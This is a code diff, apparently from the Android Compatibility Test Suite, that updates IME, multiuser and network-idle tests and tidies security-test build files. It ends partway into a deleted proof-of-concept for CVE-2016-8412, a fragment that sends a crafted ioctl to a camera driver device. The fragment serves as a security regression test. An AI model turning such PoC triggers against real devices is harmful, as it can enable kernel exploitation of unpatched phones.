     public void tearDown() throws Exception {
         shell(ShellCommandUtils.setCurrentIme(mDefaultImeId));
-        cleanUpTestImes();
     }
 
     @Test
@@ -85,7 +87,12 @@
         sendTestStartEvent(testIme1IsNotCurrentIme);
         uninstallPackageIfExists(Ime1Constants.PACKAGE);
         assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
-        assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+        // There should be a new IME that is different from the IME1
+        final String newIme = shell(ShellCommandUtils.getCurrentIme());
+        assertNotNull(newIme);
+        assertFalse(newIme.isEmpty());
+        assertNotEquals(newIme, Ime1Constants.IME_ID);
     }
 
     @Test
@@ -97,7 +104,12 @@
         sendTestStartEvent(testIme1IsNotCurrentIme);
         shell(ShellCommandUtils.disableIme(Ime1Constants.IME_ID));
         assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
-        assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+        // There should be a new IME that is different from the IME1
+        final String newIme = shell(ShellCommandUtils.getCurrentIme());
+        assertNotNull(newIme);
+        assertFalse(newIme.isEmpty());
+        assertNotEquals(newIme, Ime1Constants.IME_ID);
     }
 
     @Test
@@ -166,8 +178,8 @@
     }
 
     private void uninstallPackageIfExists(final String packageName) throws Exception {
-        if (isPackageInstalled(packageName)) {
-            uninstallPackage(packageName);
+        if (isPackageInstalled(getDevice(), packageName)) {
+            uninstallPackage(getDevice(), packageName);
         }
     }
 }
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
index 3c1f14e..e7be900 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
@@ -140,6 +140,8 @@
         instrTest.addIncludeFilter(fullTestName);
         instrTest.setTestTimeout(testTimeout);
         instrTest.setShellTimeout(shellTimeout);
+        // disable rerun mode to avoid collecting tests first then running.
+        instrTest.setRerunMode(false);
         for (Entry<String, String> e : getArgs().entrySet()) {
             instrTest.addInstrumentationArg(e.getKey(), e.getValue());
         }
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index 9827ca7..e4c654d 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed platform-test-annotations-host
 
 LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
 
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 5d4b89e..5a3a04f 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -16,8 +16,9 @@
 
 package android.host.multiuser;
 
+import android.platform.test.annotations.Presubmit;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
 
 import java.util.LinkedHashSet;
 import java.util.Scanner;
@@ -25,11 +26,12 @@
 
 /**
  * Test verifies that users can be created/switched to without error dialogs shown to the user
+ * Run: atest CreateUsersNoAppCrashesTest
  */
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
     private int mInitialUserId;
     private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
-    private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+    private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 120000;
 
     @Override
     protected void setUp() throws Exception {
@@ -37,6 +39,7 @@
         mInitialUserId = getDevice().getCurrentUser();
     }
 
+    @Presubmit
     public void testCanCreateGuestUser() throws Exception {
         if (!mSupportsMultiUser) {
             return;
@@ -45,31 +48,68 @@
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 true /* guest */,
                 false /* ephemeral */);
-        getDevice().executeAdbCommand("logcat", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(userId));
-        Set<String> appErrors = new LinkedHashSet<>();
-        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors=" + appErrors,
-                waitForBootCompleted(appErrors, userId));
-        assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
-        assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(mInitialUserId));
+        assertSwitchToNewUser(userId);
+        assertSwitchToUser(userId, mInitialUserId);
     }
 
-    private boolean waitForBootCompleted(Set<String> appErrors, int targetUserId)
-            throws DeviceNotAvailableException, InterruptedException {
+    @Presubmit
+    public void testCanCreateSecondaryUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        int userId = getDevice().createUser(
+                "TestUser_" + System.currentTimeMillis() /* name */,
+                false /* guest */,
+                false /* ephemeral */);
+        assertSwitchToNewUser(userId);
+        assertSwitchToUser(userId, mInitialUserId);
+    }
+
+    private void assertSwitchToNewUser(int toUserId) throws Exception {
+        final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
+        final Set<String> appErrors = new LinkedHashSet<>();
+        getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
+                + appErrors, result);
+        assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+    }
+
+    private void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
+        final String exitString = "Continue user switch oldUser #" + fromUserId + ", newUser #"
+                + toUserId;
+        final Set<String> appErrors = new LinkedHashSet<>();
+        getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+        assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+        assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+    }
+
+    private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
+            String exitString) throws DeviceNotAvailableException, InterruptedException {
+        boolean mExitFound = false;
         long ti = System.currentTimeMillis();
-        while (System.currentTimeMillis() - ti < BOOT_COMPLETED_TIMEOUT_MS) {
-            String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d");
+        while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+            String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d",
+                    "ActivityManager:D", "AndroidRuntime:E", "*:S");
             Scanner in = new Scanner(logs);
             while (in.hasNextLine()) {
                 String line = in.nextLine();
                 if (line.contains("Showing crash dialog for package")) {
                     appErrors.add(line);
-                } else if (line.contains("Finished processing BOOT_COMPLETED for u" + targetUserId)) {
-                    return true;
+                } else if (line.contains(exitString)) {
+                    // Parse all logs in case crashes occur as a result of onUserChange callbacks
+                    mExitFound = true;
+                } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
+                    throw new IllegalStateException("System process crashed - " + line);
                 }
-
             }
             in.close();
+            if (mExitFound) {
+                return true;
+            }
             Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
         }
         return false;
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 9a43534..d0c96ec 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -56,8 +56,8 @@
         }
         final String setRestriction = "pm set-user-restriction no_fun ";
         final String output = getDevice().executeShellCommand(setRestriction + "1");
-        final boolean isErrorOutput = output.startsWith("Error")
-                && output.contains("SecurityException");
+        final boolean isErrorOutput = output.contains("SecurityException")
+            && output.contains("You need MANAGE_USERS permission");
         assertTrue("Trying to set user restriction should fail with SecurityException. "
                 + "command output: " + output, isErrorOutput);
     }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index d2c0873..133a43b 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -127,6 +127,19 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
+        if (!isSupported()) return;
+
+        setAppIdle(true);
+        assertBackgroundNetworkAccess(false);
+
+        addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+        assertBackgroundNetworkAccess(true);
+        // Wait until the whitelist duration is expired.
+        SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+        assertBackgroundNetworkAccess(false);
+    }
+
     public void testBackgroundNetworkAccess_disabled() throws Exception {
         if (!isSupported()) return;
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 1c46396..677e886 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -107,6 +107,8 @@
 
     private static final String APP_NOT_FOREGROUND_ERROR = "app_not_fg";
 
+    protected static final long TEMP_POWERSAVE_WHITELIST_DURATION_MS = 5_000; // 5 sec
+
     protected Context mContext;
     protected Instrumentation mInstrumentation;
     protected ConnectivityManager mCm;
@@ -137,6 +139,7 @@
             enableLocation();
         }
         mSupported = setUpActiveNetworkMeteringState();
+        setAppIdle(false);
 
         Log.i(TAG, "Apps status on " + getName() + ":\n"
                 + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
@@ -744,6 +747,12 @@
                 + ". Full list: " + uids);
     }
 
+    protected void addTempPowerSaveModeWhitelist(String packageName, long duration)
+            throws Exception {
+        Log.i(TAG, "Adding pkg " + packageName + " to temp-power-save-mode whitelist");
+        executeShellCommand("dumpsys deviceidle tempwhitelist -d " + duration + " " + packageName);
+    }
+
     protected void assertPowerSaveModeWhitelist(String packageName, boolean expected)
             throws Exception {
         // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 5248255..76332be 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -15,6 +15,7 @@
  */
 package com.android.cts.net.hostside;
 
+import android.os.SystemClock;
 import android.util.Log;
 
 /**
@@ -271,4 +272,55 @@
             setDozeMode(false);
         }
     }
+
+    public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+        if (!isDozeModeEnabled()) {
+            Log.i(TAG, "Skipping " + getClass() + "." + getName()
+                    + "() because device does not support Doze Mode");
+            return;
+        }
+
+        setDozeMode(true);
+        setAppIdle(true);
+
+        try {
+            assertBackgroundNetworkAccess(false);
+
+            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(true);
+
+            // Wait until the whitelist duration is expired.
+            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setDozeMode(false);
+        }
+    }
+
+    public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+
+        setBatterySaverMode(true);
+        setAppIdle(true);
+
+        try {
+            assertBackgroundNetworkAccess(false);
+
+            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(true);
+
+            // Wait until the whitelist duration is expired.
+            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setBatterySaverMode(false);
+        }
+    }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index bf3fc08..fe9d36c 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -146,6 +146,11 @@
                 "testBackgroundNetworkAccess_whitelisted");
     }
 
+    public void testAppIdleMetered_tempWhitelisted() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
+                "testBackgroundNetworkAccess_tempWhitelisted");
+    }
+
     public void testAppIdleMetered_enabled() throws Exception {
         runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
                 "testBackgroundNetworkAccess_enabled");
@@ -166,6 +171,11 @@
                 "testBackgroundNetworkAccess_whitelisted");
     }
 
+    public void testAppIdleNonMetered_tempWhitelisted() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
+                "testBackgroundNetworkAccess_tempWhitelisted");
+    }
+
     public void testAppIdleNonMetered_enabled() throws Exception {
         runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
                 "testBackgroundNetworkAccess_enabled");
@@ -261,6 +271,16 @@
                 "testDozeAndAppIdle_powerSaveWhitelists");
     }
 
+    public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testAppIdleAndDoze_tempPowerSaveWhitelists");
+    }
+
+    public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
+    }
+
     /*******************
      * Helper methods. *
      *******************/
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index dca3699..dbadeb9 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -187,7 +187,7 @@
         // Make sure we see the lib we depend on via getting installed packages
         List<PackageInfo> installedPackages = InstrumentationRegistry.getInstrumentation()
                 .getContext().getPackageManager().getInstalledPackages(0);
-        int usedLibraryVersionCode = -1;
+        long usedLibraryVersionCode = -1;
         for (PackageInfo installedPackage : installedPackages) {
             if (STATIC_LIB_PROVIDER_PKG.equals(installedPackage.packageName)) {
                 if (usedLibraryVersionCode != -1) {
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
index f32c523..0fbf3b9 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
@@ -16,14 +16,14 @@
 
 package android.sample.cts;
 
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test that collects test results from test package android.sample.cts.app2.
@@ -33,7 +33,7 @@
  * collected from the hostside and reported accordingly.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class SampleHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+public class SampleHostJUnit4DeviceTest extends BaseHostJUnit4Test {
 
     private static final String TEST_PKG = "android.sample.cts.app2";
     private static final String TEST_CLASS = TEST_PKG + "." + "SampleDeviceTest";
@@ -65,7 +65,7 @@
 
     @After
     public void tearDown() throws Exception {
-        uninstallPackage(TEST_PKG);
+        uninstallPackage(getDevice(), TEST_PKG);
     }
 
 }
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..052e976 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -17,15 +17,8 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
-        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
-        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
-        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
         <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
-        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
-        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
         <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
-        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
         <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
         <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
         <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
@@ -43,8 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
-        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
         <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
         <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
         <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
@@ -59,14 +50,11 @@
         <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
         <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
         <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
         <!--__________________-->
         <!-- Bulletin 2017-01 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
-        <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
-        <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
-        <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
         <!--__________________-->
         <!-- Bulletin 2017-02 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
index d2a91be..44182bf 100644
--- a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
@@ -26,10 +26,9 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
index 4c27a41..6d7fb55 100644
--- a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
index 2d3d8eb..7e10720 100644
--- a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
@@ -26,10 +26,9 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
index b34f64e..875c8c8 100644
--- a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
index 00f77fd..c621936 100644
--- a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
@@ -26,10 +26,8 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
index 1a36be9..c7c958d 100644
--- a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
@@ -26,10 +26,8 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index e2a1c73..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
-  long i;
-  int pid;
-  pthread_t th[6];
-  int argn[50] = {0};
-
-  fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
-  argn[0] = 7;
-  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-  pid = fork();
